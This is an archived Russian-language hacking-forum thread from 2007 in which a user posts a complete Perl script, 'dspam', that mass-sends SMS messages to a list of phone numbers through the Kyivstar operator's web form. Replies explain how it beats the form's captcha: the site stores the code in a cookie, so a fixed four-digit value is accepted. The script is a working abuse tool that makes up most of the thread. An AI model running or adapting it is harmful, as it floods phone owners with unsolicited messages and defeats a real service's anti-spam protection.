Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   dspam (https://forum.antichat.xyz/showthread.php?t=36930)

demonoid 01.04.2007 16:30

dspam
 
Код:

#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 2)                                                                                   
{
  &help;
}
$mobbase=$ARGV[0];                                                                                                                                                     
$msgbase=$ARGV[1];                                                                               
open(file, "$mobbase") or die print "Cant open mobile.base\n"; @data0=<file>;close file;         
open(file, "$msgbase") or die print "Cant open messenge.base\n"; $msgtext=<file>;close file;     
$ver="1.00b";                                                                                     
foreach $telefone (@data0)                                                                       
{
 $i++;
 chomp($telefone); 
 $mcode=substr($telefone,0,3);                                                                   
 $mnumber=substr($telefone,3,7);                                                                 
 $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"kyivstar.net", PeerPort=>"80");           
 $param="submitted=true&lang=ua&mobcode=$mcode&number=$mnumber&lat=1&message=$msgtext&antispam=3331";
 $len=length($param);                                                                           
 print $sock "POST /_sms.html HTTP/1.0\r\n".
            "Accept: */*\r\n".
            "Referer: http://www.kyivstar.net/_sms.html?lang=ua\r\n".
            "Accept-Language: ru\r\n".
            "Content-Type: application/x-www-form-urlencoded\r\n".
            "User-Agent: Internet Explorer 6.0\r\n".
            "Host: www.kyivstar.net\r\n".
            "Content-Length: $len\r\n".
            "Pragma: no-cache\r\n".
            "Cookie: countSms=0; code=3331\r\n".
            "Connection: Keep-Alive\r\n\r\n".
            "$param";
      $sock->recv($answer,512);                                                                                                                                                       
      if ($answer=~/messageID/)  {print "[+]Messenge $mcode-$mnumber send\r\n";}                 
      else                                      {print "[-]Messenge $mcode-$mnumber not send\r\n";}                           
 close($sock);                                                                                                                                                                               
}
sub help()
{
  print q(
            ________  Written  by  demonoid (C) 2007
            \  __  |  ____  ______  _____  __    __
            | |  | | |  __||  __  |/  -  \ |  \  /  |
            | |  | | | |__ | |  | || | | | |  \/  |
            | |  | | |__  ||  --  || |_| | | |\  /| |
            _|  --  |  __| ||  ---- |  _  | | | -- | |
          /_______/  |____||_|    |_| |_| |_|    |_| V1.00b

          usage: ./dspam.pl [mobile.base] [messenge.base]
          help: 
            [mobile.base] - Base with phones.
          [messenge.base] - Base with messenge.
        example: ./dspam.pl mob.txt msg.txt
         

);
  exit();                                                                                           
}


DIAgen 01.04.2007 21:22

А как же ты справился с antispam?

GoNZo 01.04.2007 23:13

да отжег)) http://www.kyivstar.net/_sms.html

demonoid 01.04.2007 23:43

Смотри сорс в 59 строк разбираемся :cool:
Могу маленькую статейку написать по принципам роботы - если есть любознательные.

GoNZo 02.04.2007 06:24

На 59 строке - #made in Ukraine %)

вот я нашел на 19 это
PHP код:

$param="submitted=true&lang=ua&mobcode=$mcode&number=$mnumber&lat=1&message=$msgtext&antispam=3331";#параметр 

точнее antispam=3331, скрипт не пробовал но мне кажется это не обход антиспама)

blaga 02.04.2007 09:35

2GoNZo, впредь пользуйся кнопкой "код"!

DIAgen 02.04.2007 14:27

Цитата:

Сообщение от GoNZo
antispam=3331, скрипт не пробовал но мне кажется это не обход антиспама)

Да там кодеры не много промахнулись, и хронят систему антиспам в куках, смотри строчку где отправляются куки...)

demonoid 02.04.2007 16:15

Цитата:

Сообщение от GoNZo
......скрипт не пробовал но мне кажется это не обход антиспама)

1-не пробывал,так попробуй и отпишись о работоспособности :)

2-Бери пример с DIAgen разобрался и не говорить чушь :)
Совершенно верно так называемый CAPTHA-или в простонародье антиспам ,далеко не идельный .
Смотрим фрагменты POST пакета .
Код:

Cookie: countSms=0; code=3331
и тут-же смотрим параметр
Код:

submitted=true&lang=ua&mobcode=$mcode&number=$mnumber&lat=1&message=$msgtext&antispam=3331
code=3331 и есть наш заведний код подтверждения,при желании меняем на любое 4-х значное число


Время: 22:27